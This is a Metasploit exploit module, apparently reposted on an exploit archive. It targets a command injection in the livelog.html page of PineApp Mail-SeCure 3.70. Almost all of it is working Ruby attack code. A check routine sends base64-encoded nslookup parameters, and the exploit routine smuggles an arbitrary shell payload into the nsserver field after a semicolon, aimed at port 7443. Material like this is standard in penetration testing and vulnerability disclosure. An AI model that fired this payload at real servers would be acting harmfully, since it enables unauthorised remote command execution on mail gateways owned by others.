PineApp Mail-SeCure livelog.html Arbitrary Command Execution Exploit

:
05.08.2013
:
PineApp Mail-SeCure 3.70.
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PineApp Mail-SeCure livelog.html Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on PineApp Mail-SeCure
3.70. The vulnerability exists on the livelog.html component, due to the insecure
usage of the shell_exec() php function. This module has been tested successfully
on PineApp Mail-SeCure 3.70.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python telnet'
}
},
'Targets' =>
[
[ 'PineApp Mail-SeCure 3.70', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2013'
))

register_options(
[
Opt::RPORT(7443)
],
self.class
)

end

def my_uri
return normalize_uri("/livelog.html")
end

def check
res = send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'cmd' =>'nslookup',
'nstype' => Rex::Text.encode_base64("A"),
'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
'nsserver' => Rex::Text.encode_base64("127.0.0.1")
}
})
if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

def exploit
print_status("#{rhost}:#{rport} - Executing payload...")
send_request_cgi({
'uri' => my_uri,
'vars_get' => {
'cmd' =>'nslookup',
'nstype' => Rex::Text.encode_base64("A"),
'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command
'nsserver' => Rex::Text.encode_base64("127.0.0.1;#{payload.encoded}")
}
})
end

end